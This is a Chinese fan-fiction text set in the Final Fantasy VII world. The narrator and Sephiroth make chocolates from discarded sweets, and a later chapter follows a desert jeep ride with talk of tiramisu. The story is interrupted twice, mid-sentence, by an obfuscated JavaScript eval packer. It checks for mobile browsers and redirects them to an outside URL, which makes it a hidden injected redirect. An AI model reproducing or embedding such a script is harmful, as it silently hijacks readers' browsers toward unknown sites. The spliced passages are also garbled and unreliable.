“你的‘弄来’,是指从神罗大厦三楼走廊拐角处的那个分类回收桶里,还是指从四楼茶水间门口那个标着‘废弃食品’的纸箱里?” “……” 我尬了一下。 随后一把把那盒巧克力一下抢过来,连他手上捏着的那颗都不放过,丢进嘴里。囫囵吞枣般嚼了几下,就把它咽了下去,甜味直冲天灵盖,让我忍不住皱了皱鼻子。 接着抬起头,就瞥见了萨菲罗斯有些奇怪的表情。 他从抽屉里拿出了什么,递给我。 那是一个黑色的小纸盒。 这盒子通体漆黑,没有任何花哨的装饰,只在盒盖的角落压印着一个我不认识的、但看起来就很高级的银色徽记。 “这什么?” 难道是萨菲罗斯从垃圾桶里翻到的高级货? 他往前递了递那个盒子:“打开看看。我想,你应该会喜欢。” 我哼了一声,不再理他,开始研究手里的盒子。 这盒子做工精巧,严丝合缝,没有明显的开启方式。我捏了捏,感觉里面装的东西并不多,但分量却不轻。 “这怎么打开?” 我鼓捣了半天,没找到开关,忍不住抬头问他。 萨菲罗斯伸出一根手指,轻轻敲了敲盒盖上那个银色的徽记:“这里。” 我依照他的指示,用指甲轻轻按了一下那个徽记,只听“咔哒”一声轻响,盒盖向上弹开了一条细缝。 一股浓郁而纯粹的可可香气瞬间从缝隙中溢了出来,那香味复杂而富有层次,与我之前吃的那些甜腻巧克力截然不同。 我迫不及待地掀开盒盖。 盒子内部铺着一层黑色的丝绒,上面静静地躺着几块形状不规则的巧克力。 它们不像我捡来的那些是心形或者其他花哨的造型,而是像被随意敲碎的天然矿石,边缘锋利,表面带着一种天然的、粗粝的美感。 颜色也并非单一的深棕色,而是呈现出一种复杂的、带着红褐色光泽的黑,如同凝固的火山熔岩。 “这……” 我拿起一块,入手微沉。 仔细看去,还能看到巧克力表面细密的孔隙,以及一些极细小的、像是香料研磨后的颗粒。 “萨菲罗斯,你从哪个垃圾桶翻出来的?神罗总裁门口吗?” 我忍不住问。 同时又有些不服气——他怎么连巧克力都能捡到高级款的? “……” 他的表情像是在问我怎么说出这种话的。 “这块,来自米德加东区一家不对外开放的私人作坊。” “他们的可可豆,只选用特定海拔、特定年份的单一庄园出产。每一批巧克力的风味,都会因当年的气候与土壤产生细微的差别。” 萨菲罗斯将那块巧克力递到我唇边,动作自然而优雅:“尝尝看。我想,不需要我过多描述,你的舌头会告诉你答案。” 那浓郁的可可香气,混合着一丝难以言喻的、像是某种香料的微辛,直往我鼻子里钻。 我犹豫了一下,最终还是张嘴咬了一小口。 “咔嚓。” 清脆的断裂声。 与我之前吃的那些甜腻巧克力完全不同,这一块的口感坚实而细腻。初入口时是纯粹的、带着焦糖香气的微苦,那苦味并不尖锐,反而很醇厚。 紧接着,一股复杂的、带着莓果和坚果气息的浓郁可可风味在口腔中缓缓释放、层层铺开。 最后,当巧克力完全融化后,喉咙里留下的是一丝清甜的回甘,以及某种香料带来的、若有若无的暖意。 “唔——” 我下意识地发出了一声满足的轻哼。 这味道,确实比我捡来的那些高级多了。 可恶! “怎么样?” 萨菲罗斯的声音再次响起,带着一丝我分辨不清的笑意。 “符合你的‘基本标准’吗?” “还,还行吧。” 我含糊地应了一声,迅速将剩下的大半块也塞进嘴里。 “也就好吃那么一点点。” 萨菲罗斯伸出手,用指腹轻轻擦过我的嘴角,那里不小心沾上了一点巧克力碎屑。 他的指尖带着一丝凉意,触感却很轻柔。 “只有一点点?看来我的品味,还有待提高。” ”你的品味确实应该提高!还有……“ “确定这不是你从垃圾桶里捡的?” 我不死心地最后确认了一遍。 萨菲罗斯用一种“你觉得呢”的眼神看着我。 ”那……你干嘛给我巧克力吃?“ 萨菲罗斯顿了顿,语气里带上了一点我捉摸不透的意味。 “今天是某个特殊的日子,不是吗?” 特殊日子? 我恍然大悟。 之前在五台那边呆久了,一回来就做任务做的日夜颠倒神志不清,不大清楚米德加的习俗—— “今天是什么免费巧克力日吧?怪不得。” 我托腮下了定义,接着转头看他。 “那你想吃巧克力吗?我给你做。” “……” 萨菲罗斯执着巧克力的手停在半空中,那双总是莫测的碧绿色魔晄眼,此刻也罕见地凝固了。 “你说,你要为我制作巧克力?” 他的声音比平时低沉了几分,每一个字都咬得很清晰,仿佛想确认自己没有听错。 “对啊!”我扬了扬下巴,一副理所当然的表情,“你不也给我吃了吗?礼尚往来,这不是很正常的事情吗?再说了,免费巧克力日,大家一起分享才对嘛!” 萨菲罗斯沉默了几秒,他放下手中的那块高级巧克力,修长的手指在光滑的黑色桌面上轻轻敲击了两下,发出沉闷的声响。 “所以,你依旧认为,今天只是所谓的‘免费巧克力日’?” 他的目光重新落在我身上,带着一种审视的意味。 “不然呢?”我歪了歪头,“到处都是巧克力,不是免费的是什么?难道是巧克力滞销,神罗统一处理?” “你就等着吃吧!” 我将他的高级巧克力悄悄地合好,塞进口袋。 下次继续吃。 --- 第一步,收集材料。 萨菲罗斯抱胸站在走廊边。 他看着我到处挑挑拣拣的翻垃圾桶。 基于我多年深谙的零食之道,这次我挑选的都是高级款的纯可可—— 一块,两块,被我塞到了兜里。一开始我捡的巧克力已经被我丢开了(毕竟它们大多都是中看不中用)。 “这个不行,可可含量太低,都是代可可脂。” 我嫌弃地丢掉一包看起来华丽但成分表堪忧的巧克力棒。 “嗯,这个牌子还凑合,就是甜度太高了,需要中和一下。” 我把一块包装朴素的黑巧克力塞进口袋,感受着它沉甸甸的分量。 翻完这一楼,我拍了拍手,指着楼上。 “出发!向楼上的休息区进发!” 我们很快来到了楼上员工休息区。这里的垃圾桶明显比走廊上的“存货”要丰富得多。 “哇哦!这里简直是天堂!” 我眼睛一亮,立刻扑向一个半满的金属垃圾桶。 免费巧克力日真是太好了,这里大多都是被丢掉的巧克力。 我一股脑地挑选着,一边对比着包装,正翻的热火朝天,一只手从旁边伸出,帮我把一些“不合格”的产品丢开。 “……” 我转头。 “这个,可可含量虽然尚可,但你看,”他的声音平稳而清晰,如同在进行某种学术研讨,“边缘已经有融化的迹象,这会影响它最终的口感和风味。而且,它的乳脂含量偏高,做出来的巧克力恐怕会过于甜腻,少了些纯粹的层次。” “喂,萨菲罗斯,”我用胳膊肘捅了捅他,“你什么时候变成巧克力专家了?我怎么不知道你还有这技能?” 萨菲罗斯并没有直接回答我的问题,而是将那盒“不合格”的松露巧克力准确地丢回了垃圾桶,又从我捧着的一堆“战利品”中,挑出另一块用牛皮纸简单包裹的黑巧克力块。 “这块不错。” 他将那块巧克力递到我面前。 “你看它的切面,细腻且富有光泽,闻起来有淡淡的烟熏香气。虽然包装简陋,但应该是某个小作坊的手工制品,用料会更纯粹一些。” 就这样,我跟萨菲罗斯一起翻了整整四楼的垃圾桶。 今天倒是没什么人……嘶,为什么没人?难道神罗在“免费巧克力日”放假? 不管了。 --- 第二步。 开工! 我抱着一大堆“精挑细选”的巧克力原材料,雄赳赳气昂昂地跟在萨菲罗斯身后。他倒是没说什么,只是在我路过他办公室的时候,用眼神示意了一下。 “就在这里?” 我探头探脑地往里看。萨菲罗斯的办公室一如既往的整洁——或者说,空旷。 除了办公桌和几个书架,几乎没什么多余的东西。 “这里有基础的加热和冷却设备。” 萨菲罗斯走到墙边一个不起眼的柜子旁,打开柜门,里面果然有一些看起来很高级的……嗯,大概是厨房用具吧。 有金属盆,有各种颜色的裱花袋,还有一个看起来像是能精准控温的加热板。 “行吧,勉强凑合。” 我把怀里的巧克力一股脑地倒在萨菲罗斯那张纤尘不染的办公桌上,发出哗啦啦的声响。 各种包装的巧克力堆成了一座小山。 萨菲罗斯看着他那瞬间变得“五彩斑斓”的办公桌,眉梢几不可察地动了一下,但最终什么也没说,只是默默地从旁边拿过几个干净的金属盆。 “融化巧克力!” 我宣布道,拿起最大的一块黑巧克力,试图用手掰开。 “用手掰?你确定?”萨菲罗斯的声音从旁边传来,带着一丝……我不好形容的意味。 他递过来一把看起来就很锋利的小刀。 “用这个,切碎它们,受热会更均匀。” “切什么切,多麻烦!” 我白了他一眼,继续跟那块顽固的巧克力较劲。 “咔嚓”一声,巧克力碎成了一堆渣滓。 “……” 我若无其事的把这些渣滓放进盆里。 “好了,加热!” 我大手一挥,指向那个看起来就很高级的加热板。 “萨菲罗斯,交给你了!温度要控制好,别给我烧糊了!” 我理所当然地指挥着,好像他天生就该给我打下手。 萨菲罗斯看着那盆“原料丰富”的巧克力,又看了看我,那双碧绿的眼眸中流淌着一丝我读不懂的情绪,或许是无奈,又或许是别的什么。 他没有反驳我的“命令”,只是慢条斯理地将金属盆放在加热板上,修手指在控制面板上轻点了几下。 “你确定要将这些……‘成分复杂’的巧克力全部混合在一起?” “它们的熔点和质地各不相同,混合加热可能会导致某些部分焦化,而另一些部分尚未完全融化。” “就是要难以预料才刺激啊!”我理直气壮地说,“这叫创意!你懂什么!我看的书里都说了,高手做菜都是不拘一格的!” “……哪本书?” “《天才厨神异界纵横录》!主角一手颠勺神技,什么食材都能变成绝世美味!” 我得意地扬起下巴。 萨菲罗斯叹了口气,他用一个精致的小刮刀,轻轻搅拌着盆中那些开始逐渐融化的巧克力块。 不同颜色、不同质地的巧克力在温和的热力下慢慢交融,形成一种……嗯,难以用语言形容的,斑驳陆离的粘稠液体。 空气中也开始弥漫起一股复杂的、混合着可可香、奶香、坚果香,甚至还有一点点果香的奇特气味。 我托腮看了一会,就开始去翻找模具。 ——有陆行鸟形状的,还有星星形状的,甚至还有一个……神罗士兵头盔形状的。 最多的是陆行鸟模具。 咦?怎么种类这么齐全? “萨菲罗斯,你之前是不是准备做巧克力啊?” “嗯。” 他没有否定。 我把那堆模具掏出来丢在桌子上,接着好奇的问。 “那你做的怎么样?在哪?” “……丢了。” 边说着,萨菲罗斯边分装着溶液,他好像控制了不同的融化时机,让各种口味的巧克力分进不同的容器中。 “丢了?” 我不满地撇撇嘴。 “自己做的巧克力都不给我尝尝。该不会是做得太难吃了,不好意思拿出来吧?” 萨菲罗斯手上的动作顿了顿。 “只是觉得,成品不符合我的预期。与其让你品尝瑕疵品,不如重新制作。” “切,借口。” 我第一个,先拿起了一个星星的模具。 “让你尝尝我的吧!先用这个!” 萨菲罗斯从旁边拿过一个类似裱花袋的东西,将金属盆里的巧克力糊刮进袋子里,然后将袋口扎紧。 “用这个。” 他将裱花袋递给我。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565145|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “前端开口的大小可以控制流量,也更便于填充形状复杂的模具。” “而且,在填充之后,需要轻轻震动模具,将内部的气泡排出,这样做出来的巧克力表面才会光滑平整。” 怎么这么麻烦? 《天才厨神异界纵横录》没写这样啊,难道不应该是我随手一拍就好了吗? 我接过裱花袋。 一开始力道没控制好,巧克力糊“噗”地一声挤出来一大坨,直接溢出了星星模具的边缘,在干净的桌面上留下了一小摊颜色可疑的“熔岩”。 “啧,失误失误!” 我连忙调整姿势和力道。 萨菲罗斯没有嘲笑我,只是平静地从旁边递过来一张干净的柔韧纸巾。 “填充模具时,裱花袋的尖端最好与模具保持一定的距离,并且匀速移动。这样可以避免气泡产生,也能让巧克力糊更均匀地分布。” “知道啦知道啦,你很懂嘛!” 我接过纸巾,胡乱擦了擦桌子上的狼藉,然后继续跟星星模具较劲。 这次我小心翼翼地控制着力道,巧克力糊总算没有再到处乱飚。 但由于我的手不太稳,挤出来的巧克力线条歪歪扭扭,填满的星星模具边缘也参差不齐,活像一只被啃过的海星。 “嗯,这个,”我端详着自己的第一个“杰作”,努力想找个词来形容,“充满了……狂野不羁的艺术气息!” 萨菲罗斯微微颔首,他的目光扫过那只“海星”,然后落在我沾了巧克力酱的手指上:“的确很‘独特’。不过,正如我之前所说,填充完毕后,轻轻震动模具,有助于排出内部的气泡,使成品表面更光滑。” 他伸出手指,在我那只“狂野海星”模具的边缘轻轻敲击了几下。 “就像这样。” 他示范。 “持续、轻柔的震动,而不是猛烈的摇晃。否则,尚未凝固的巧克力可能会再次溢出。” 我又掏了一个星星模具。 “看我下一个!” 我们大概一起做了十几个各异的星星,把它们塞进冷冻箱时,我和萨菲罗斯在一起洗手。 办公室里弥漫着一股甜丝丝的、混合了多种可可的奇特香气,还有一点点因为加热过度而产生的微弱焦香——那绝对是我那盆“创意熔岩”的杰作。 他有些意外的开口了。 “只做星星形状的吗?” 我正在和我指甲缝里的巧克力作战。 “当然啊。” “……你平时很喜欢陆行鸟。” 我顿了顿。 哎?他不会是以为我喜欢陆行鸟才准备最多这种模具的吧? “作为未来的星际皇帝,当然要星星!” 我严肃的开口。 接着,伸出手,些许水珠随着我的动作甩出。 “而且是给你的。” 水珠有几滴不偏不倚地落在了萨菲罗斯那身一丝不苟的黑色制服前襟上,留下几个小小的深色印记。 他低下头,目光在那几点水渍上停留了片刻,然后抬起眼,看向我,碧绿的眼眸中带着一种难以捉摸的神色。 “那么,作为未来的星际皇帝,赏赐给我的第一份‘星辰’,就是这些巧克力吗?” “没错!”我拍了拍胸脯,豪气干云,“这可是未来的星际皇帝亲手制作的,独一无二!你应该感到荣幸!” 我搞定自己的手后,迫不及待地打开冷冻箱的门,一股混合着冷气和巧克力香的微风扑面而来。 那些星星巧克力已经完全凝固了,表面带着一层薄薄的白霜,看起来倒也有几分“星辰”的神秘感。 萨菲罗斯伸出戴着黑色手套的手,从中拿起一块边缘最不规则、看起来最像“陨石碎片”的星星巧克力。他并没有立刻品尝,而是将它举到眼前,逆着光,仔细端详着。 那认真的神情,让我一瞬间觉得他不是在看一块从垃圾桶里抢救出来的、成分不明的巧克力,而是在审视一颗新发现的行星。 过了一会,他那块巧克力凑到唇边。 我屏住呼吸,眼睛一眨不眨地盯着他。 萨菲罗斯并没有像我之前那样囫囵吞枣,而是用一种极其优雅的姿态,轻轻咬下了一小块。 细微的“咔哒”声在安静的办公室里响起。 他咀嚼的动作很慢,几乎没有发出任何声音,品尝时微微垂下眼睑,纤长的银色睫毛在眼下投下一小片阴影,让人看不清他此刻的神情。 “怎么样怎么样?” 我凑近了一点,忍不住追问。 “是不是超乎你的想象?” 我努力推销着自己的“作品”,试图从他脸上看出一点惊为天人的表情。 萨菲罗斯缓缓咽下口中的巧克力,然后抬起眼眸,那双碧绿的眸子在灯光下显得格外清亮。 “嗯,”他沉吟了片刻,似乎在组织措辞,“口感,非常‘丰富’。” 他顿了顿,继续说道:“多种可可风味的猛烈撞击,伴随着坚果碎屑带来的粗砺感,以及某些区域因为过度加热而产生的焦糖化风味,的确,令人印象深刻。” 他说这话的时候,表情依旧是那种波澜不惊的冷静,但不知道为什么,我总觉得他眼底藏着一丝若有若无的笑意。 笑笑笑,有什么好笑的? “喂!什么叫‘丰富’啊?你就直接说好吃还是不好吃嘛!” 萨菲罗斯将那块被他咬了一口的巧克力递到我的唇边。 “你为什么不自己试试呢?” “……我才不要吃你吃过的!” 说着,我伸手就想从冷冻箱里再拿一块完整的。 萨菲罗斯的手腕却轻巧地一转,避开了我的手,依旧将那块“残缺”的星星举在我面前,语气平缓。 “这一块,是你第一块制作的,倾注了最多的‘热情’。你确定不亲自感受一下它的独特之处?” 他顿了顿,补充道。 “而且,作为‘未来的星际皇帝’,品尝臣子献上的贡品,不是理所应当的吗?还是说,你对自己‘御赐’的星辰没有信心?” “……” “谁说我没信心了!” 我张嘴就咬向他手中的巧克力。 “咔嚓!” 和我预想中清脆的断裂声不同,这块混合了多种“高级垃圾桶战利品”的巧克力,口感复杂得超乎想象。 首先是外层那过于坚硬的部分,差点硌到我的牙。 紧接着,是某些没有完全融化、依旧保持着块状的坚果碎带来的粗糙感,它们像是顽固的拦路石,阻碍着味蕾的前进。 然后,一股浓郁到发齁的甜味如同海啸般席卷了整个口腔,其中还夹杂着一丝因为某些巧克力过度加热而产生的、无法忽视的焦苦味。 这味道—— 简直就是一场味觉的灾难! 我整张脸都皱成了一团,差点当场吐出来。 萨菲罗斯看着我那精彩纷呈的表情,终于忍不住发出一声低沉的轻笑。 “……” 我勉强咽下我的“杰作”后,第一时间就是去扯他的头发。 “你故意的吧?!这么难吃为什么不早说!” “……并不难吃。” “你送我的‘星辰’,我很喜欢。” “喜欢?你味觉失灵了吧,萨菲罗斯!” 我没好气地松开手,从鼻子里哼了一声。 萨菲罗斯没有回答,他伸出手,又从冷冻箱里拿起一颗“星辰”,这次他选的是一颗边缘有些融化,看起来像是被太阳晒蔫了的星星。 这么难吃,还看它们看什么? 我撇了撇嘴,一把抓住他的手。 “喂,萨菲罗斯——” 他轻轻的嗯了一声,眸子还停留在巧克力上,仿佛在欣赏一件稀世珍宝。 “等下个免费巧克力日,我送你一颗真的星星。” “……” 他忽地不说话了。 办公室里只剩下我们两人轻微的呼吸声,以及窗外偶尔传来的、神罗巡逻飞艇低沉的引擎轰鸣。 “在某些古老的传说中……” 萨菲罗斯终于开口了,他的目光依旧锁在我的眼睛上,他的语速很慢,每一个字都清晰地传入我的耳中。 “星星代表着永恒,代表着指引,也代表着…至死不渝的承诺。” 他的拇指在我手背上轻轻摩挲了一下,带来一阵细微的痒意。 我顿了顿。 “……我不是从小就答应你了吗?” “什么?” 他明明知道,为什么还要特地问出来? “我会永远陪着你的,萨菲罗斯。” 完。 沉寂过后—— 他轻轻唤了我的名字。 “免费巧克力日快乐。” 67.第62章 主角团只要被打败就好了。 我们反派需要考虑的就比较多。 比如,我刚刚一从金蝶姿势很帅的自由落体,就直接脸着沙漠。 一片漆黑。 抬头,能够看到神罗姗姗赶来的支援直升机小队,我擦掉脸庞的沙子,往沙漠中走去。 哦,下一站是贡加加——扎克斯的故乡。 我边走边抛着钥匙石。 萨菲罗斯保持着沉默。 他可能生气了吧。 不过我也挺生气的。 谁让他动我的人了? 这些都是我以后的臣子——没有克劳德,以后谁帮我改文件/打零工/偷东西?没有扎克斯,以后谁帮我吹鼓呐喊助威? 萨菲罗斯做不到的,他太要脸面了,而且不会拍马屁。 夜晚的沙漠带着些许清凉,时不时的,会有一阵风飘过,吹散了我身上的硝烟味和血腥气。 金蝶的喧闹慢慢消失在身后。 啪—— 钥匙石抛起。 啪—— 又落回我的掌心。 远离了喧闹的金蝶,此时抬头能够看见闪烁的星空,大自然最璀璨的画布。 只是我没有心情欣赏。 “喂,萨菲罗斯。” 【“……”】 他一言不发。 大概走了有半小时。 【“往左。”】 我踢开脚下一块被风沙半掩的石头,毫不犹豫地往右。 “……哼。” 一声极轻的,几乎微不可闻的冷哼。 没走几步,前方就出现了手电筒的光,还有载具的轰鸣。 是神罗的巡查兵。 几束强光手电同时照射在我身上,刺得我微微眯起了眼睛。 “站住!什么人!” 一个略显沙哑的喝令声从前方传来。 “别动!举起手来!” 另一个声音紧跟着响起。 我看到几名穿着沙漠迷彩作战服的神罗士兵从越野车上跳了下来,手中的冲锋枪齐刷刷地对准了我。 --- 十分钟后,我有些生疏的开着吉普车,在沙漠中颠簸的前行。 哇,居然还有电台。 我随便戳了几下。 [F号小队,前往金蝶,钥匙石回收失败,雪崩余孽不知所踪——正在清理后勤] [A号小队,陆行鸟广场……] 无聊。 随便扭了扭,终于到了我感兴趣的东西。 [我们现在先让奶酪软化,室温就可以了,这次的提拉米苏只用250g奶酪……] 吉普车稍微摇晃歪斜,我一只手扶着方向盘,另一只手还在放大电台的音量。 […所以,手指饼干要快速地在咖啡液中浸泡,记住,是快速哦,不然就会变得太湿软,影响口感了。] 我将手搭回了方向盘上,时不时按一下喇叭。 我的学习能力很强……不如说,杰诺瓦的能力能让我五分钟内就迅速上手任何没有接触过的东西,车很快就平稳起来。 [接着,我们把混合好的马斯卡彭奶油均匀地铺在手指饼干上…] 一双手突然搭在了我的肩膀上,却轻飘飘的,没有一丝重量。 “……” 收紧。 吉普车方向盘因为我下意识的动作微微一偏,轮胎碾过一块凸起的沙地,车身剧烈地颠簸了一下。 些许银发因此随着夜风,飘过我的视野。 我能感觉到颈后那若有若无的吐息。 [现在,我们把可可粉均匀地筛在提拉米苏表面,看,是不是很漂亮?] “我对你刚才的行为,有些疑问。” 我稳住吉普车。 萨菲罗斯的指尖带着冰凉的温度,轻轻拨弄着我兜帽边缘的发丝。 “什么疑问?我还没质问你呢!谁允许你动我的人了?” “……” 指尖的动作一顿—— 他不说话了。 [现在,我们将打发好的淡奶油分三次加入到马斯卡彭糊中,用刮刀轻轻地、从下往上翻拌均匀。] “你的人?我不太理解你的用词。” 萨菲罗斯的指尖从我的发丝滑落,轻轻搭在了我的颈侧,冰凉的触感让我头皮一阵发麻。 “那些不过是星球上卑微的尘埃,是阻碍我等前路的绊脚石。” “他们存在的唯一价值,便是在被清除后,为母亲的复苏提供些微不足道的养分。” 他慢条斯理地陈述着。 “而你,却为了这些‘尘埃’,干预了我的行动。” 我猛地一打方向盘,吉普车发出一声不堪重负的呻吟,险些冲向路边一块巨大的沙丘。 车轮扬起的沙尘瞬间模糊了后视镜。 “那你又在做什么,萨菲罗斯?” 我嗤笑一声,毫不客气地反驳。 “差一点,我的首席文件整理员兼移动ATM机就要被你做成烤陆行鸟了!还有我的一号全自动小弟……你赔我吗?” [注意不要消泡哦,这样才能保证我们提拉米苏的轻盈口感。] “文件整理员?全自动小弟?” 萨菲罗斯的声音里染上了一抹显而易见的困惑,随即转为更深沉的冷冽。 “你在意的,就是这些无聊的称谓和他们那些可笑的功能?没有这么简单。” 他的另一只手也搭了上来,覆盖在我握着方向盘的手背上,冰凉的温度透过作战手套传递过来。 “他们在你的意识里,绝没有这么简单。” “你阻挡了那坠落的钢铁,你驱散了那本该吞噬他们的火焰。” “告诉我,这是为什么?” 萨菲罗斯的手指在我的手背上缓缓收紧。 “为什么?” 我偏过头,莹绿色的眼眸对上他那双在昏暗车厢内依旧闪烁着幽光的碧绿竖瞳。 “因为他们是我的东西啊,萨菲罗斯。” “只有我能决定他们的生死,也只有我能决定他们什么时候变成烤鸡或者别的什么。“ ”你,没有这个权力。” 吉普车在夜色笼罩的沙漠中颠簸前行,轮胎碾过沙地发出单调的摩擦声。 [做好的提拉米苏,我们建议放入冰箱冷藏至少四个小时,最好能隔夜,这样风味才会完全融合,口感也会更加醇厚哦。] 甜美的女声之下,是他那稍稍收缩的竖瞳,以及刹那转暗的色泽。 但在我颈侧的手指却离开了。 “所以,这就是你的选择?” “那些‘玩具’在你心中的分量,真的比得上我们之间的联系吗?比得上我们共同的目标吗?” “……比得上,你我的约定吗?” ? 什么选择? 我选什么了? 茫然冲散了我的不爽。 有些想要回头看他的表情,但萨菲罗斯的手却忽地伸到了我的脖颈外侧。 食指点着下巴,将我的视线卡在了正前方。 掌心之下,是贴近动脉的位置。 [……提拉米苏放进冰箱冷藏,在等待时间,大家听听歌吧!] 电台里甜美的女声欢快的结束了教程,随即开始播放一段轻快的乡村音乐 一个男歌手用他那沙哑而充满活力的嗓音歌唱着田野、拖拉机和邻家女孩的微笑。 这破电台的音乐品味实在太差了。 我伸手,想要去切电台的音量,那只覆盖在我手背上的手却纹丝不动,甚至还加重了几分力道。 看来想要结束掉这个糟糕的音乐,只能跟他说话了。 “……萨菲罗斯,你先说清楚,我选了什么?” “你选择了那些无足轻重的个体。” “在金蝶,在那片废墟之上,你选择了将你的力量,你的庇护,给予了那些与我们为敌的存在。” 萨菲罗斯顿了顿,搭在我颈侧的指尖微微用力,迫使我的头颅无法有丝毫偏转。 “你明明可以袖手旁观,任由他们在那场混乱中化为尘埃,那才是他们应有的归宿。或者,你也可以与我一同,加速这个过程。但你没有。” “相反,”他的语气中染上了冷意,“你出手干预了。你斩断了那坠落的钢铁,仅仅是为了确保那些蝼蚁的安全。” “你甚至,治愈了你的’陆行鸟朋友‘。” 我无语了。 ”那你说我现在在干嘛?“ “……” 他沉默了。 沙漠的夜风从敞开的车窗灌进来,吹得我额前的碎发有些痒。 电台里那个男歌手还在声嘶力竭地歌颂着他那不存在的拖拉机爱情故事。 “这个问题很难回答吗?” “……你正与我一同,前往下一个目的地。” 我吸了口气,指尖敲了敲方向盘。 “萨菲罗斯,把电台关了。” “……” 迟疑片刻后,他压在我掌心上的手终于放开,终结掉了那烦人的乡村音乐。 萨菲罗斯安静的趴在我的背后。 “啧,没劲。” 我撇撇嘴,单手扶着方向盘,另一只手伸向副驾驶座上,那里随意丢着几包从神罗士兵身上搜刮来的压缩饼干。 撕开一包,随便抽出一块,我咬了一口,干巴巴的味道让我皱了皱眉。 “说起来,萨菲罗斯。” 我含糊不清地开口,一边咀嚼着那难以下咽的饼干。 “刚才那个提拉米苏教程,你听进去了多少?” “等我们到了贡加加,或者随便哪个有厨房的地方,你给我做一个尝尝。” “我对那个——‘快速浸泡手指饼干’的步骤很感兴趣。” 感觉肩颈处忽地压上了什么,带来极轻微的、几乎无法察觉的重量感。 他又把头搭在我肩膀上了。 萨菲罗斯的银发如同拥有生命的藤蔓,悄无声息地从我兜帽的缝隙钻了进来。 一部分贴着我的后颈,一部分则自然地垂落在我锁骨附近,随着吉普车的颠簸轻轻搔刮着我的皮肤。 痒。 我扭了扭脖子,试图摆脱这种让人分心的触感,但那些发丝却固执地贴着,反而因为我的动作而钻得更深了些。 “提拉米苏,在意大利语上——意为‘带我走’。” 他的呼吸温热,带着独属于他的味道,一丝丝地吹拂在我的颈侧。 我抖了抖肩膀,试图把他的头发抖出去,随口敷衍。 “嗯嗯。” “还有……‘拉起我’的意思。” 终于把嘴里那一坨压缩饼干给咽下去,我舔了舔嘴角,稍稍偏头,就发现他一直在看我。 “……哦,这甜点名字挺有意思。萨菲罗斯,你做不做?” 萨菲罗斯没有立刻回答我关于提拉米苏的问题。 他只是将下巴更深地埋在我的肩窝,银色的发丝随着他轻微的呼吸,在我脖颈间拂动,带来一阵阵奇怪的触感。 我能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15581533|169997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 感觉到他胸腔轻微的震动,不确定那是什么。 他不会笑了吧? 我实在是受不了他的头发了,直接开始指责他。 “萨菲罗斯,你怎么一直粘着我?” “嗯。” 他无动于衷。 “……” 我正准备直接抓他的头发时,银发男人不紧不慢的开口了。 “手指饼干的浸泡时间,咖啡液的浓度与温度,马斯卡彭奶酪的打发程度,可可粉的品质与均匀度。” “每一个步骤都要求精准的控制,任何细微的差错都可能导致最终成品的崩坏。” 他顿了顿。 “你希望的提拉米苏,是追求极致的轻盈与空气感,还是偏爱浓郁醇厚的风味?” 我的注意力立马被转移。 “当然是——都要!” “既要轻盈得像云朵一样,入口即化,又要味道浓郁到能让人幸福得昏过去!还有还有,咖啡味要足,酒味也要恰到好处,可可粉必须是最高级的那种,撒在上面要像天鹅绒一样!” 我越说越兴奋,仿佛已经看到了那完美的提拉米苏摆在我面前。 “贪婪。” 萨菲罗斯言简意赅地评价。 我冷笑一声。 “你做不做吧?” “做。” 萨菲罗斯的回答简单而直接,出乎我的意料。 我愣了一下,随即挑了挑眉:“这么爽快?我还以为你会再跟我讲一堆什么‘甜食是低等生物的慰藉’之类的大道理呢。” 他不置可否。 因为无聊,我再次打开了电台。 那该死的乡村音乐终于结束了。 [我们把冷藏好的提拉米苏取出来,撒上可可粉就可以享用了。看,是不是很简单?大家也快动手试试吧!] 怎么我一打开就没了? 我伸手想去调电台,看看还有没有什么有趣的美食节目。 萨菲罗斯的手却先一步覆上了电台的旋钮,那只戴着黑色手套的手,阻止了我的动作。 “沙漠的夜晚,除了单调的引擎声和风声,或许,安静也是一种不错的选择。” 萨菲罗斯的声音很轻,几乎像是耳语,伴随着温热的呼吸吹拂在我的耳廓。 “又想干嘛?” “没什么,”他的声音依旧平稳,“只是觉得,有些声音,比电台里的嘈杂更值得倾听。” “比如?” 我挑眉。 这狗都懒得看的沙漠有什么有趣的东西吗? “比如,你因为我的靠近,而下意识屏住的呼吸声。” “或者,你因为期待美食而加速的心跳声。” “你发丝与布料摩擦的响动。” 萨菲罗斯贴近我的颈侧。 “血液流经血管的流动。” “……” “我说,萨菲罗斯,”我清了清嗓子,试图打破这种诡异的氛围,“你是不是太闲了?要不你来开车,我玩一会电台?” “开车?” 一个低沉的,带着几分玩味的声音在我耳边响起,那声音近得让我有些不自在。 “你是觉得,我现在的‘驾驶’方式,让你不满意了?” 他刻意在“驾驶”两个字上加重了语气。 “你那也叫驾驶?” 我不客气地反驳。 “你那叫骚扰驾驶员,妨碍公共安全!” 我稍微扭了扭脖子:“赶紧的,换不换?不换我可要听重金属摇滚了,吵死你。” “重金属摇滚。” 萨菲罗斯轻轻重复了一遍这几个字,语气里听不出喜怒。 “也好,你想的话。” 不过,”他话锋一转,“我为什么要和你交换呢?现在这样,不是很好吗?” 他搭在我肩膀上的那只手,似乎轻轻地捏了捏我的肩胛骨。 “你负责掌控方向,我负责感受你。各司其职,完美配合。” 萨菲罗斯的语气理所应当。 “而且,如果我来开车,你就不能如此‘专注’地感受我的存在了,不是吗?” “……” 